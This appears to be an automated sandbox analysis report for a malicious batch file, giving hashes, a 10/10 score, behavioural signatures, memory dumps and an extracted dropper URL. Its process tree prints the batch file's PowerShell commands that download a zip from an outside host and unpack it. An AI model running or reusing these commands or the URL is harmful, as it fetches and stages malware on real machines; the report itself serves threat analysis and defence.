1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1566s
max time network
1571s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (13).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2652	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2652	powershell.exe
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2652	2740	cmd.exe	29
PID 2740 wrote to memory of 2652	2740	cmd.exe	29
PID 2740 wrote to memory of 2652	2740	cmd.exe	29
PID 2740 wrote to memory of 1440	2740	cmd.exe	30
PID 2740 wrote to memory of 1440	2740	cmd.exe	30
PID 2740 wrote to memory of 1440	2740	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ca111fd4689df54573f75a58a37ff21b

SHA1
19299e5f3afe48d675a873abc7d7c0a4ae9b1c8c

SHA256
7a18439669cdd69535cb0b3a4073dbcc50d3bb243ef5d7a69aae2949895f9411

SHA512
038e11d81ba70e8d3cca076888afd71cf053ec2b83bd8baa4baeed5568f2273a48c9f0220d462216a44217d2c0a10e4f6ce0f27d641c52277e5466cda181126d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X2FU73TGASNMJZZXB797.temp

Filesize
7KB

MD5
ca111fd4689df54573f75a58a37ff21b

SHA1
19299e5f3afe48d675a873abc7d7c0a4ae9b1c8c

SHA256
7a18439669cdd69535cb0b3a4073dbcc50d3bb243ef5d7a69aae2949895f9411

SHA512
038e11d81ba70e8d3cca076888afd71cf053ec2b83bd8baa4baeed5568f2273a48c9f0220d462216a44217d2c0a10e4f6ce0f27d641c52277e5466cda181126d

Download Submit
memory/1440-21-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1440-18-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/1440-25-0x000007FEF4AC0000-0x000007FEF545D000-memory.dmp

Filesize
9.6MB

Download
memory/1440-24-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1440-23-0x0000000002B60000-0x0000000002BE0000-memory.dmp

Filesize
512KB

Download
memory/1440-22-0x000007FEF4AC0000-0x000007FEF545D000-memory.dmp

Filesize
9.6MB

Download
memory/1440-19-0x00000000020A0000-0x00000000020A8000-memory.dmp

Filesize
32KB

Download
memory/1440-20-0x000007FEF4AC0000-0x000007FEF545D000-memory.dmp

Filesize
9.6MB

Download
memory/2652-5-0x00000000022B0000-0x00000000022B8000-memory.dmp

Filesize
32KB

Download
memory/2652-7-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download
memory/2652-4-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2652-6-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download
memory/2652-12-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp

Filesize
9.6MB

Download
memory/2652-10-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2652-9-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/2652-8-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download